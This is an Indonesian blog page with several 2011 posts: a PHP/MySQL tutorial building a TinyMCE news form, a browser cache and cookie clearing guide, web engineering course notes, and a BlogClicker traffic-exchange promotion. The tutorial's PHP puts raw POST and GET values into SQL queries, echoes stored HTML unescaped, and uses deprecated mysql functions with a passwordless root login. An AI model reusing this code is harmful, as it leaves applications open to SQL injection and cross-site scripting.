Jumat, 30 Desember 2011

Membuat Editor Dengan TinyMCE

TinyMCE adalah sebuah platform web editor yang dibuat berdasarkan Javascript HTML WYSIWYG (What You See Is What You Get) yang dikeluarkan sebagai open source dibawah lisensi LGPL oleh Moxiecode Systems AB. TinyMCE mempunyai kemampuan untuk mengkonversi TextArea HTML atau Elemen HTML lainnya menjadi tampilan teks penyunting. TinyMCE sangat mudah untuk berintergrasi dengan CMS lainnya. Untuk sekedar informasi aja, TinyMCE telah dipakai oleh Facebook, Microsoft, Apple, WordPress, Joomla, Oracle dan untuk CMS Indonesia yang menggunakannya adalah AuraCMS.Sebenernya adayang lebih lengakap dari tinymce yaitu tinymcpuk. Tetapi tinymcpuk lebih sulit konfigurasinya. Mungkin lain kali akan kita bahas. ^_^ Saya juga menggunakan TinyMCE untuk web sederhana yang saya buat :P Oke dah kita dah membahas sekilas tentang TinyMCE, yuk sekarang kita bahas cara menggunakan / menginstallnya.




1. Pertama – tama download dulu TinyMCEnya dari http://cloud.github.com/downloads/tinymce/tinymce/tinymce_3_3_9_3.zip, atau kalau mau lihat koleksi TinyMCEnya silahkan http://tinymce.moxiecode.com/download/download.php
atau silahkan download ditempat lain..

2.Kemdudian extract ke C:\xampp\htdocs\, nanti hasil ekstraknya akan menghasilkan direktori baru di C:\xampp\htdocs\tinymce.

3.Sebenarnya contoh penggunaan TinyMCE ini udah ada di folder hasil ekstrakan tadi tepatnya di folder example, silahkan di buka sendiri kalau mau melihatnya.

4. Nah kalau dipostingan ini saya akan mensharing cara membuat aplikasi berita admin, yuk kita lanjutkan langkahnya. Kemudian database baru bernama “tugas web” atau terserah keinginan anda.

itu langkah2 basa-basinya, ok dah sekarang kita lanjut ke TKP--->>>

untuk menghubungkan tinymce ke database maka kita perlu membuat database terlebi dahulu...



Pengertiannya kita buat database dengan nama "tugasweb". Setelah kita sukses buat database kemudian kita membuat tabelnya. Misal kita buat nama tabelnya "inputdata" dengan jumlah fieldnya "3" yang isinya adalah:




Setelah kita berhasil membuat tabel , maka selanjutnya kita akan memasukkan nama dalam field/tabel input data sbb:




Ok dah.
Setelah kita selesai dengan urus mengurus database kita langsung menuju ke TKP php sekarang. Dalam pembuatan aplikasi web dengan database maka hal yang wajib ada adalah file config.php. Yaitu file yang berfungsi untuk menghungkan aplikasi web/file-file php ke database . Ok langsung aja kita buat file config.php.


1. Simpan File dengan nama config.php

<?php
$host = "localhost";
$user = "root";
$pass = "";
$database = "tugasweb";
$koneksi = mysql_connect ($host,$user,$pass);
mysql_select_db($database) or die ("error");
?>

untuk pengertian dari source code diatas, yang perlu kita ganti hanyalah $database, diganti sesuai nama database yang kalian bikin. Disini nama databasenya adalah "tugasweb".

Setelah kita selesai membuat file config.php selanjutnya kita buat file form.php

Simpan dengan nama form.php

<?php
include "config.php";

//proses input berita ke database
if(isset($_POST['input'])){
$judul = $_POST['judul'];
$isi = $_POST['isi'];

//insert ke table
$post = "insert into inputdata values('','$judul','$isi')";
$postsukses = mysql_query($post) or die ("shit".mysql_error());
if ($postsukses){
echo "<h2><font color = 'green'>esa.inc :) </font></h2>";
}
else{
echo "<h2><font color = 'red'>Input berita gagal T_T</font></h2>";
}
}
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>esa dwi suryanta</title>

<!-- TinyMCE -->
<script type="text/javascript" src="jscripts/tiny_mce/tiny_mce.js"></script>
<script type="text/javascript">
tinyMCE.init({
// General options
mode : "textareas",
theme : "advanced",
plugins : "pagebreak,style,layer,table,save,advhr,advimage,advlink,emotions,iespell,inlinepopups,insertdatetime,preview,media,searchreplace,print,contextmenu,paste,directionality,fullscreen,noneditable,visualchars,nonbreaking,xhtmlxtras,template,wordcount,advlist,autosave",

// Theme options
theme_advanced_buttons1 : "save,newdocument,|,bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,styleselect,formatselect,fontselect,fontsizeselect",
theme_advanced_buttons2 : "cut,copy,paste,pastetext,pasteword,|,search,replace,|,bullist,numlist,|,outdent,indent,blockquote,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code,|,insertdate,inserttime,preview,|,forecolor,backcolor",
theme_advanced_buttons3 : "tablecontrols,|,hr,removeformat,visualaid,|,sub,sup,|,charmap,emotions,iespell,media,advhr,|,print,|,ltr,rtl,|,fullscreen",
theme_advanced_buttons4 : "insertlayer,moveforward,movebackward,absolute,|,styleprops,|,cite,abbr,acronym,del,ins,attribs,|,visualchars,nonbreaking,template,pagebreak,restoredraft",
theme_advanced_toolbar_location : "top",
theme_advanced_toolbar_align : "left",
theme_advanced_statusbar_location : "bottom",
theme_advanced_resizing : true,

// Example content CSS (should be your site CSS)
content_css : "css/content.css",

// Drop lists for link/image/media/template dialogs
template_external_list_url : "lists/template_list.js",
external_link_list_url : "lists/link_list.js",
external_image_list_url : "lists/image_list.js",
media_external_list_url : "lists/media_list.js",

// Style formats
style_formats : [
{title : 'Bold text', inline : 'b'},
{title : 'Red text', inline : 'span', styles : {color : '#ff0000'}},
{title : 'Red header', block : 'h1', styles : {color : '#ff0000'}},
{title : 'Example 1', inline : 'span', classes : 'example1'},
{title : 'Example 2', inline : 'span', classes : 'example2'},
{title : 'Table styles'},
{title : 'Table row 1', selector : 'tr', classes : 'tablerow1'}
],

// Replace values for the template plugin
template_replace_values : {
username : "Some User",
staffid : "991234"
}
});
</script>
<!-- /TinyMCE -->

</head>
<body>

<form method="post" name="formberita">
<h3>esa dwi suryanta</h3>
<table width="500" border="0">
<tr>
<td width="80">Judul :</td>
<td width="410"><input name="judul" type="text" size="40" /></td>
</tr>
<tr>
<td>&nbsp;</td>
<td><textarea id="elm1" name="isi" rows="15" cols="60" ></textarea></td>
</tr>
<tr>
<td>&nbsp;</td>
<td><input type="submit" name="input" value="Submit" /></td>
</tr>
</table>
</form>
</body>
</html>

Setelah selesai dengan urusan php dkk kemudian kita taruh folder tinymce ke htdoc dan simpan file form.php & config.php ke folder tinymce sbb:




Setelah itu jalankan filenya melalui url berikut http://localhost/tinymce/form.php, langsung aja tes untuk ngepost ya :D




Kalu input database udah sukses maka akan nambil tulisan kayak gini...




dan di datase tampilannye kayak gini:



udah selesai,, mudah bukan??
hehe

tapi tugasnya belum selesai, yaitu membuat file untuk menampilkan input yang telah dimasukka dary tinymce tadi. Ok langsung aja kita buat file dengan nama lihat.php

Simpan dengan nama lihat.php

<?php
include "config.php";


// jumlah data yang akan ditampilkan per halaman

$dataPerPage = 1;

// apabila $_GET['page'] sudah didefinisikan, gunakan nomor halaman tersebut,
// sedangkan apabila belum, nomor halamannya 1.

if(isset($_GET['page']))
{
$noPage = $_GET['page'];
}
else $noPage = 1;

// perhitungan offset

$offset = ($noPage - 1) * $dataPerPage;

// query SQL untuk menampilkan data perhalaman sesuai offset

$query = "SELECT * FROM inputdata LIMIT $offset, $dataPerPage";

$result = mysql_query($query) or die('Error');

// menampilkan data

echo "<table border='1'>";

while($data = mysql_fetch_array($result))
{
echo "<tr>".$data['judul']."</tr><tr>".$data['isi']."</tr>";
}

echo "</table>";

// mencari jumlah semua data dalam tabel inputdata

$query = "SELECT COUNT(*) AS jumData FROM inputdata";
$hasil = mysql_query($query);
$data = mysql_fetch_array($hasil);

$jumData = $data['jumData'];

// menentukan jumlah halaman yang muncul berdasarkan jumlah semua data

$jumPage = ceil($jumData/$dataPerPage);

// menampilkan link previous

if ($noPage > 1) echo "<a href='".$_SERVER['PHP_SELF']."?page=".($noPage-1)."'>&lt;&lt; Prev</a>";

// memunculkan nomor halaman dan linknya

for($page = 1; $page <= $jumPage; $page++)
{
if ((($page >= $noPage - 3) && ($page <= $noPage + 3)) || ($page == 1) || ($page == $jumPage))
{
if (($showPage == 1) && ($page != 2)) echo "...";
if (($showPage != ($jumPage - 1)) && ($page == $jumPage)) echo "...";
if ($page == $noPage) echo " <b>".$page."</b> ";
else echo " <a href='".$_SERVER['PHP_SELF']."?page=".$page."'>".$page."</a> ";
$showPage = $page;
}
}

// menampilkan link next

if ($noPage < $jumPage) echo "<a href='".$_SERVER['PHP_SELF']."?page=".($noPage+1)."'>Next &gt;&gt;</a>";

?><html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>

<body>
</body>
</html>



hasilnnya:




nah kali ini udah kelar, tapi contoh diatas simple aja, untuk design tampilanya silahkan buat sendiri..
hehe
buat latihan juga ^_^

Untuk source code lengkapnya silahkan download disini

Selasa, 06 Desember 2011

Cara Membersihkan Cache dan Cookies Browser Komputer

Jika situs tampak aneh atau jika sesuatu tidak berfungsi sebagaimana mestinya, kemungkinan besar masalah nya ada di cache dan cookies browser kita, dengan membersihkan cache browser dan menghapus cookie browser Komputer kita, mudah-mudahan masalah bisa teratasi.
Sebelum melangkah lebih lanjut , mungkin ada diantara kita ada yang bertanya :
Apa yang dimaksud ‘Cache’ dan ‘cookies’ ?
Cache browser adalah sebagian memori yang disediakan untuk mengingat halaman yang pernah dikunjungi. Dengan Menggunakan cache, browser dapat membuka halaman yang pernah kita lihat sebelumnya menjadi lebih cepat. Jika ada yang tidak beres dalam cache, atau jika halaman telah berubah sejak terakhir kita melihatnya, hal itu dapat mempengaruhi bagaimana halaman ditampilkan.
Sedangkan Cookie adalah file kecil yang disimpan oleh browser yang gunanya adalah untuk mengingat pengaturan pribadi kita. Ketika kita pergi ke situs yang sudah pernah dikunjungi sebelumnya, maka cookie situs akan mengingatkan kita, seperti misalnya info tentang topik yang pernah kita lihat yang akan ditampilkan kembali . Cookie akan mengingat, misalnya, pengaturan SafeSearch kita, dan apa pandangan kita seperti misalnya di Google Maps. Meskipun Kadang-kadang tidak selalu begitu dan juga mungkin tampilan halaman akan tampak aneh.
Hal umum dalam kaitannya membersihkan cookies dan cache :
1. Pertama coba bersihkan cache browser untuk versi yang kita gunakan:
2. Jika setelah membersihkan cache tidak mengatasi masalah, selanjutnya kita
bisa mencoba membersihkan cookie browser.
3. Meskipun menghapus cookie browser dapat mengatasi masalah, Namun hal itu juga akan menghapus pengaturan yang tersimpan untuk situs yang sebelumnya kita kunjungi.
4. menghapus cache hystory Akan memakan waktu beberapa menit .

Chrome

Cara membersihkan Cache di browser Chrome :
1. Klik menu Tools.
2. Pilih “Clear browsing data”..
3. Pastikan “Empty the cache’. dipilih.
4. Klik Clear Browsing Data.

Cara membersihkan Cookies di browser Chrome :
1. Klik menu Tools menu alat.
2. Pilih “Clear browsing data”..
3. Pastikan “Empty the cache’. “dipilih.
4. Klik Clear Browsing Data.

Microsoft Internet Explorer

Cara mengetahui versi browser Internet Explorer, klik tab “Help,” dan kemudian klik “About Internet Explorer.” Jika kita tidak melihat menu “Help”, tekan “Alt” untuk menampilkan menu.
Cara membersihkan Cache di browser Microsoft Internet Explorer :

Internet Explorer 7.x

1. Di Internet Explorer, klik menu Tools. Atau Tekan Alt untuk menampilkan menu.
2. Klik Internet Options
3. Klik tab General.
4. Klik tombol Delete.
5. Pada bagian ‘Temporary Internet Files’, klik Delete Files.
6. Klik OK untuk konfirmasi.
7. Klik OK sekali lagi untuk menutup ‘Internet Options. ”
Internet Explorer 6.x
1. Di Internet Explorer, klik menu Tools.
2. Klik Internet Options
3. Klik tab General.
4. Pada bagian ‘Temporary Internet Files’, klik Delete Files
5. Klik OK untuk konfirmasi.
6. Klik OK sekali lagi untuk menutup ‘Internet Options. ”

Cara membersihkan Cookie di browser Microsoft Internet Explorer :
Internet Explorer 7.x
1. Di Internet Explorer, klik menu Tools. Atau Tekan Alt untuk menampilkan menu.
2. Klik Internet Options
3. Klik tab General.
4. Klik tombol Delete.
5. Dalam ‘Cookies’, klik Hapus Cookie.
6. Klik OK untuk konfirmasi.
7. Klik OK sekali lagi untuk menutup ‘Internet Options. ”
Internet Explorer 6.x
1. Di Internet Explorer, klik menu Tools.
2. Klik Internet Options
3. Klik tab General.
4. Pada bagian ‘Temporary Internet Files’, klik Hapus Cookie.
5. Klik OK untuk konfirmasi.
6. Klik OK sekali lagi untuk menutup ‘Internet Options. ”

Mozilla Firefox

Tip Untuk menemukan versi Firefox: Pada Windows, klik tab “Help,” dan kemudian klik “About Mozilla Firefox.” Untuk Max OS X, klik “Firefox,” dan kemudian klik “About Mozilla Firefox.”
Caramembersihkan Cache di browser Mozilla Firefox :

Membersihkan Cache Firefox 3.5x dan Firefox 3.6x untuk Windows

1. Klikmenu Tools.
2. klik Options … Preferences ….
3. Pilih Advanced panel.
4. Klik pada tab Networks
5. Klik Tombol “Clear Now”
Firefox 3.x untuk Windows
1. Klikmenu Tools.
2. Klik Clear Private Data.
3. Pastikan ‘Cache’ dipilih.
4. Klik Clear Private Data Now

Firefox 3.x untuk Mac OS X
1. Klikmenu Tools.
2. Klik Clear Private Data.
3. Pastikan ‘Cache’ dipilih.
4. Klik Clear Private Data Now


Firefox 2.x untuk Windows
1. Klik menu Tools.
2. Klik Opsi
3. Pilih ‘Advanced’ tab.
4. Pada tab Advanced, pilih ‘Network’ tab.
5. Pada bagian Cache, klik Clear Now.
6. Klik OK.

Firefox 2.x untuk Mac OS X
1. Klik menu Firefox.
2. Klik Preferences.
3. Pilih ‘Advanced’ tab.
4. Pada ‘Advanced’ tab, pilih ‘Network’ tab.
5. Dalam ‘Cache’, klik Clear Now.
6. Klik OK.

Cara membersihkan Cookies di browser Mozilla Firefox :

Membersihkan Cookies Firefox 3.5x dan Firefox 3.6x untuk Windows

Untuk menghapus single Cookies :
1. Klikmenu Tools.
2.klik Options
3. Pilih “Privacy”.
4. Pada bagian ”Firefox will: ” pilih pada “Use custom settings for history”.
5. klick “Show Cookies”…. Cookies window akan muncul
6. Di kotak “Search”, ketik nama cookie situs yang ingin kita hapus. cookie yang
cocok dengan pencarian kita akan ditampilkan.
7. Pilih cookie dalam daftar yang muncul untuk dihapus lalu klik Remove Cookie
8. Klik “Close” Untuk menutup jendela cookies .

Firefox 3.x untuk Windows
1. Klik menu Tools.
2. Klik Clear Private Data.
3. Pastikan ‘Cache’ dipilih.
4. Klik Clear Private Data Now.

Firefox 3.x untuk Mac OS X
1. Klik menu Tools.
2. Klik Clear Private Data.
3. Pastikan ‘Cache’ dipilih.
4. Klik Clear Private Data Now

Firefox 2.x untuk Windows
1. Klik menu Tools.
2. Klik Options.
3. Pilih ‘Privacy’ tab.
4. Dalam ‘Cookies’, klik Show Cookies.
5. Klik Remove All Cookies.
6. Klik OK untuk konfirmasi.
7. Klik OK sekali lagi untuk menutup ‘Options. ”

Firefox 2.x untuk Mac OS X
1. Klik menu Firefox.
2. Klik Preferences.
3. Pilih ‘Privacy’ tab.
4. Dalam ‘Cookies’, klik Show Cookies.
5. Klik Remove All Cookies.
6. Klik OK untuk konfirmasi.
7. Klik OK sekali lagi untuk menutup ‘Preferences. ”

Langkah Advanced : Dalam beberapa kasus, langkah tersebut selain untuk menghapus cookie kita, juga bermanfaat untuk menghapus file yang sebenarnya di Firefox yang menyimpan cookie kita.
Apple Safari
Cara mengetahui versi browser Safari: Pada Mac OS X, klik “Safari,” dan kemudian klik “About Safari.” Pada Windows, klik tab “Help,” dan kemudian klik “About Safari.”

Cara membersihkan Cache di browser Apple Safari :
Safari 3.x untuk Mac OS X
1. Klik menu Safari.
2. Klik Empty Cache.
3. Klik Kosong untuk konfirmasi.
Safari 3.x untuk Windows
1. Klik menu Edit.
2. Klik Empty Cache.
3. Klik Kosong untuk konfirmasi.

Cara membersihkan Cookies di browser Safari:
Safari 3.x untuk Windows
1. Klik menu Edit.
2. Pilih ‘Security’ tab.
3. Klik Show Cookies.
4. Klik Hapus Semua.
5. Klik Selesai untuk menutup daftar Cookies.
6. Tutup ‘Preferences. ”

Safari 3.x untuk Mac OS X
1. Klik menu Safari.
2. Klik Preferences.
3. Pilih ‘Security’ tab.
4. Klik Show Cookies.
5. Klik Hapus Semua.
6. Klik Selesai untuk menutup daftar Cookies.
7. Tutup ‘Preferences. ”

Opera
Cara mengetahui versi browser Opera: Pada Windows, klik tab “Help,” dan kemudian klik “About Opera.” Di Mac OS X, klik “Opera,” dan kemudian klik “About Opera.”

Cara membersihkan Cache di browser Opera :
Opera 9.x untuk Windows
1. Pada Opera, klik menu “Tools”.
2. Klik “Preferences.”
3. Klik tab “Advanced”.
4. Di kolom sebelah kiri, klik “History.”
5. Pada bagian Disk cache, klik “Empty Now.”
6. Klik “OK” untuk menutup “Preferences.”

Opera 9.x untuk Mac OS X
1. Pada Opera, klik “Opera” menu.
2. Klik “Preferences.”

3. Klik tab “Advanced”.
4. Di kolom sebelah kiri, klik “History.”
5. Pada bagian Disk cache, klik “Empty Now.”
6. Klik “OK” untuk menutup “Preferences.”

Cara membersihkan Cookies di browser Opera :

Opera 9.x untuk Windows
1. Pada Opera, klik menu “Tools”.
2. Klik “Clear Private Data”
3. Klik “Detailed Options.”
4. Pilih “Delete all Cookies”
5. Kosongkan kotak centang untuk tiap pilihan Private Data lainnya yang tidak ingin dihapus.
6. Klik “Delete”

Opera 9.x untuk Mac OS X

1. Pada Opera, klik “Opera” menu.
2. Klik “Clear Private Data”
3. Klik “Detailed Options.”
4. Pilih “Delete all Cookies”
5. Kosongkan kotak centang untuk tiap pilihan Private Data lainnya yang tidak ingin dihapus.
6. Klik “Delete”
Catatan
:
Jika browser atau versi yang kita gunakan tidak tercantum di sini, silakan klik pada tab “HELP” atau Bantuan browser untuk mendapatkan petunjuknya.

Sumber Artikel : http://support.google.com ; http://support.mozilla.com/

Kamis, 27 Oktober 2011

Tugas Rekayasa Perangkat Lunak Lanjut

WEB ENGINEERING

What is Web Engineering ?? Rekayasa Web (Web Engineering ) : Suatu model rakayasa perangkat lunak, yang digunakan untuk
pengembangan aplikasi‐aplikasi berbasis web.Pada dasarnya pemrograman web ditujukan untuk menyampaikan informasi kepada user, dengan memanfaatkan teknologi jaringan berbasis protocol TCP/IP. Aplikasi web yang dihasilkan oleh suatu rekayasa web dapat didefinisikan sebagai berikut :
�� A Web application is a software system based on
technologies and standards of the World Wide Web
Consortium (W3C) that provides Web specific resources
such as content and services through a user interface, the
Web browser.
�� Sebuah aplikasi web adalahsuatu sistem software yang
berbasiskan teknologi dan standard dari konsorsium
world wide web (W3C) yang menyediakan sumber yang
bersifat spesifik seperti konten atau layanan melalui
sebuah user interface yang disebut web browser
.
Web Engineering dapat dikatakan sebagai salah satu cabang independen dari rekayasa perangkat lunak (software engineering) Engineering secara umum berarti aplikasi praktis dari sains untuk dunia komersil atau industri dengan tujuan agar perancangan aplikasi menjadi lebih baik (lebih cepat, lebih murah atau lebih aman)
Software Engineering didefinisikan sebagai aplikasi dari sain dan matematika dengan bantuan kapabilitas perangkat komputer sehingga menjadi berguna (useful) bagi manusia melalui program komputer, prosedurprosedur dan dokumentasi pendukungnya (Boehm
Berdasarkan difinisi di atas, makaWeb Engineering dapat didefinisikan sebagai berikut: (Kappel, et.al, 2003)
Web Engineering is the application of systematic and
quantifiable approaches (concepts, methods, techniques,
tools) to cost‐effective requirements analysis, design,
implementation,testing, operation, and maintenance of
high‐quality Web applications.
Web Engineering is also the scientific discipline
concerned with the study of these approaches.
Aplikasi web mempunyai beberapa karakteristik, yang
dapat diuraikan sebagai berikut : (Suh ,Woojong, 2005) :
Aplikasi web cendrung terus meningkat, dalam arti kata bahwa, pengembangan aplikasi web baru akan terealisasi pada saat aplikasi tersebut diimplementasikan Aplikasi web berbeda dengan Software Aplikasi . Kontennya terdiri dari berbagai bentuk dan format data seperti Teks,
grafis, image, audio, video yang diintegrasikan oleh pemrosesan prosedural (web programming), metoda yang digunakan dalam menampilkan dan mengatur konten tersebut akan berdampak terhadap waktu respon dari sistem.
3
Aplikasi web ditujukan untuk digunakan oleh komunitas user yang besar, beragam dan sejumlahuser yang tidak dikenali (public user) dengan berbagai kebutuhan, harapan dan
kemampuan. Oleh karena itu pada saat mengembangkan aplikasi web, user interface dan fitur‐fitur kemudahan dalam penggunaan (usability features) harus mampu menjawab
kebutuhan dari semua user tersebut tanpa harus melalui suatu program latihan. Semua hal ini merupakan gabungan dari human‐Web interaction (HWI), user interface, dan
information presentation.
Semua sistemaplikasi web saat ini, bersifat content‐driven (database‐driven). Pengembangan sistem berbasis web yang mencakup pembuatan dan manajemen konten sebagaimana aturan yang sesuai dengan pembuatan konten, perawatan dan manajemen setelah semua pengembangan dilakukan
Semua aplikasi web menuntut aspek “good look and feel”, suatu aspek yang memenuhi nilai estetika dan art,sehingga pengguna merasa nyaman dalam menggunakan dan mengakses aplikasi web yang dikembangkan
Perubahan teknologi yang cepat – menjadi tantangan bagi teknologi dan standar web seperti berkembangnya bahasa‐bahasa baru, standar baru, tool baru, yang
kemungkinan mempunyai eror dan bugs (technology
instability).
Media pengiriman konten untuk aplikasi web sangat berbeda dengan software tradisional. Apliakasi web membutuhkan kecocokan dengan berbagai jenis perangkat display, format tampilan, dukungan hardware, software
Dengan kondisi tersebut aplikasi web sangat membutuhkan kompresi konten (teks, grafis, image, audio, video), sehingga semua media yang beragam tersebut dapat mengaksesnya.
Sekuriti dan privasi lebih dibutuhkan oleh sistem‐sistem berbasis web jika dibandingkan dengan software tradisional.

Kategori AplikasiWeb:

1. Document Centric Web Site
2. Interactive Web Application
3. Transactional Web Application
4. Workflow‐based Web applications
5. Collaborative Web applications
6. Social Web
7. Portal‐oriented Web applications
8. ubiquitous Web applications
9. Semantic Web



.


1. Document Centric Web Site
Model ini adalah genarasi awal dari aplikasi web
�� Halaman web disimpan di dalam sebuah web server sebagai halaman yang
sudah jadi, dan bersifat statik
�� Dibuat dalam format HTML
�� Dikirim ke web‐client sebagai respon terhadap adanya request.
�� HalamanWeb diupdate secara manual menggunakan tools tertentu.
�� Untu kasusWebsites yang menutuhkan perubahan berkala, dengan sejumlah
halaman, maka akan membutuhkan faktor biaya yang signifikan dan biasanya
berdampak terhadap infromasi yang out of date.
�� Konsistensi data dan halaman tidak dapat dijaga, dan seringkali terjadi halaman
web yang redudan, dengan maksud agar mudah diakases.
�� Kelebihan model ini adalah pada kesederhanaan dan kestabilan web site
�� Waktu respon yang pendek karena halaman telah disimpan di web server
�� Static Home Pages, Web cast, dan simple web termasuk ke dalam kategori ini
2. Interactive Web Application
�� Dengan diperkenalkannya konsep CGI (Common Gateway
Interface), yang dapat diintegrasikan ke dalam form HTML,
maka model static web mulai bergeser ke dalam bentuk
interaktif web.
�� Pada generasi awal masih bersifat sederhana, tersedia form
interaktif dalam bentuk rsio button, dan seleksi menu.
�� Halaman web dan link ke halaman lainnya di hasilkan secara
dinamis sesuai dengan input yang diberikan user.
�� Contoh untuk kategori ini antara lain : eksibisi virtual, situs
berita, atau timetable information.

3. Transactional Web Application
�� Jenis aplikasi ini dibuat untuk menyedia fasilitas interaktif yang
lebih baik.
�� Memungkinkan user untuk berinteraksi dengan aplikasi, tidak
hanya dalam bentuk read‐only, tetapi juga memungkin untuk
mengupdate data atau mengubah isi.
�� Untuk kebutuhan ini, maka dibutuhkan sebuah sistem basis data
(database), sehingga meningkatkan efisiensi dan konsistensi dalam
menangani pertambahan konten aplikasi web.
��Memungkinkan untuk melakukan queri secaraterstruktur.
�� Informasi Touris adalah salah satu bentuk aplikasi dalam model ini,
sehingga memungkinkan orang untuk mem‐booking kamar hotel
atau tiket perjalanan.
�� Online banking, online shopping, dan booking systems termasuk
ke dalam kategori ini.




4. Workflow‐based Web applications
�� Pada model ini memungkinkan untuk menangani transaksi
aplikasi dalam atau antar perusahaan, user publik da user private.
�� Katersediaan Data (Availability) merupakan salaha satu layanan
web dengan jeminan interroperabilitas (mmeungkinkan bagi
sistem yang berbeda untuk dapat saling berkomunikasi).
�� Kekompleksan layanan dalam sistem ini merupakan salah satu
kuncinya
�� Adanya otonomidari partisipan sehingga menjadikan sistem
sempuna dan felksibel merupakan suatu tantangan.
�� Woekflow ini salah satu bentuknya adalah B2B Solution
(Bussiness‐to‐Bussiness Solution), baik dalam e‐Commerce, aplikasi
e‐Government dalam area adminstrasi publik atau dukungan
berbasis web bagi pasien dalam sektor kesehatan.

5. Collaborative Web Applications
�� Digunakan dalam membentuk suatu (groupware).
�� Kebutuhan untuk komunikasi diantara user yang
berkolaborasi
�� Collaborative Web applications mendukung proses berbagi
informasi dan workspaces (misalnya WikiWiki,
http://c2.com/cgi/wiki, or BSCW, http://bscw.gmd.de/)
untuk menghasilkan, mengedit dan memanej shared
information.
�� Mereka juga menggunakan logs dengan sejumlah entri data
dan edit data (seperti pada weblog) sebagai mediator
pertemuan atau berdiskusi
�� Mendukung komunikasi diantara member seperti dalam
bentuk chating dan e‐learning platforms.
6. Social Web
�� Suatu bentuk layanan web yang memungkinkan orangorang
menyediakan identitas komunitas dengan yang
lainnya, yang mempunyai kesamaan ketertarikan
(interest).
�� Weblogs atau collaborative filtering systems seperti
(http://friendster.com) adalah salah satu bentuknya
�� Dapat digunakan untuk mencari objek yang diminati
dan sekaligus orang‐orang yang mempunyai interest
yang sama .
7. Portal‐oriented Web applications
�� Menyediakan satu tujuan akses dalam bentuk akses terpisahpisah,
berpotensi untuk dijadikan sebagai sumber informasi
dan layanan yang heterogen.
�� Pembuat Browser seperti Microsoft, Netscape, Search Engine
seperti Yahoo, Google, Layanan Online seperti AOL,
KonglomeratMedia dan Perusahaan lainnya menyadari akan
tingginya permintaan terhadap layanan portal ini, sebagai
salah satu titik akses keWeb
�� Sebagai tambahan pada portal umum, terdapat berbagai jenis
portal dengan kegunaan khusus, seperti portal bisnis, portal
pasar dalam bentuk mall belanja online dan portal komunitas
Portal‐oriented Web applications…
�� Portal Bisnis, memberikan kesempatan kepada karyawan atau partner
bisnis untuk lebih fokus mengakses informasi ke sumber informasi
dan layanan yang berbeda melalui Intranet atau extranet
�� Portal Pasar Online dibagi ke dalam dua jenis, yaitu horizontal dan
vertikal.
�� Horizontal memberikan layanan dalam bentuk pemasaran :
�� Bussiness‐to‐customer yang menyediakan kebutuhan pelanggan secara
langsung ke publik umum
�� Bussiness‐to‐bussiness yang menjual produk mereka ke perusahaan lain, yang
berbeda sektor bisnisnya.
�� Vertikal, merupakan aliran bisnis perusahaan dalam satu sektor, menjelaskan
hubungan antara suplier dengan pabrik, atau jalur distribusi bisnis nya.
�� Portal Komunitas , ditujukan untuk komunitas dengan kelompok yang
spesifik, dan membangun loyalitas anggotanya melalui interaski user
atau menggunakan user managemen bagi keanggotaan groupnya.

8. Ubiquitous Web applications
�� Menyediakan layanan yang dapat dikutomisasi oleh usernya,
kapanpun, dimanapun dan untuk perangkat apapun,
semuanya itu merupakan layanan akses yang ada dimanamana.
�� Sebagai contoh misalnya aplikasi web yang menyediakan
layanan bagi orang yang bermobilitas tinggi untuk
mengetahui restoran yang buka pada jam 11 hingga 2 malam.
�� Aplikasi web dengan tipe ini biasanya sangat terbatas form
permintaannya yang hanya mendukung satu aspek –
(personlisasi atau lokasi) – layanan.

9. Semantic Web
�� Seiring dengan semakin berkembangnya industri TIMEES
(Telecommunications, Information technology, Multimedia,
Education dan Entertainment, dan Security)
�� Maka permintaan akan ketersediaan layanan dimanapun dan jenis
layanan apapun akan mendominasi pasar aplikasi web
�� Maka dibutuhkan suatu pengembangan aplikasi web yang disebut
dengan Semantic Web.
�� Tujuan Semantic Web adalah menydiakan informasi yang tidak
hanya untuk manusia, tetapi juga informasi yang bersifat machine
readable form.
�� Semantic Web menyediakan suatu knowledge manegement pada
web baik dalambentuk link atau konten yang dapat digunakan
kembali (content syndication)

Selasa, 18 Oktober 2011

Cara Meningkatkan Tarif pengunjung Blog dengan BLogClicker

Bagi teman2 blogger pemula seperti saya yg ingin meningkatkan traffic ke blog-nya, dapat menggunakan sarana BlogClicker.

Apakah yg dimaksud dengan BlogClicker itu?
BlogClicker adalah Penyedia jasa layanan tukar traffic bagi situs-situs blog dan difokuskan untuk mendatangkan kunjungan bagi blog Anda. Anda telah menghabiskan waktu untuk bikin blog, maka biarlah BlogClicker yg mendatangkan pembacanya!!


Bagaimana cara kerja BlogClicker?  Sangat sederhana.  Anda cukup mengklik blog member dari BlogClicker dan member yang Anda lihat akan mengklik balik blog Anda. BlogClicker juga menawarkan upgrade keanggotaan  dan paket credit yang akan memberi Anda hingga credit dengan rasio perbandingan 1:1,5 (Anda beli 10 credit, Anda akan dapat 15 klik atau kunjungan blog).

Cukup ketik nama dan email Anda saja. Setelah registrasi / pendaftaran sukses, Anda akan mendapatkan email username dan password, gunakan itu dan masuk ke akun Anda di BlogClicker. Lalu klik Manage Blog.


Masukan URL atau alamat weblog atau URL postingan Anda yg ingin Anda perbanyak trafficnya.


Pada samping kanan klik gambar lampu untuk mengaktifkan bahwa LINK/URL Anda siap mendapatkan UPDATE.


Beralihlah ke bagian BLOG BAR untuk melakukan surfing, dengan memilih "Surf Member Blogs" Setiap kali Anda surfing, maka Anda akan mendapatkan CREDIT yg nantinya dapat Anda tambahkan sebagai sebuah kunjungan ke blog Anda.


Perhatikan timer di sebelah angka 8, tunggu timer hingga muncul tulisan GO, lalu klik angka yg disediakan di sebelah kiri (berderet warna-warni dari 1 hingga 8)


Klik angka tersebut sesuai dengan angka pada grid (kotak-kotak) putih.


Makin banyak Anda melakukan surfing, makin banyak credit yg Anda peroleh. Tambahkan credit ke link URL Anda seperti ini :


————————————————————

Tunggu apalagi! Perbanyak traffic/kunjungan blog Anda sekarang juga, GRATIS !!! Lalu saksikan traffic/kunjungan blog Anda meningkat. Jika Anda referensikan kepada teman-teman Anda, maka setiap prosentasi dari setiap CREDIT yang teman2 Anda peroleh, Anda akan mendapatkannya 5 kali lipat.

Klik di sini untuk daftar/bikin akun !!!

Keterangan :
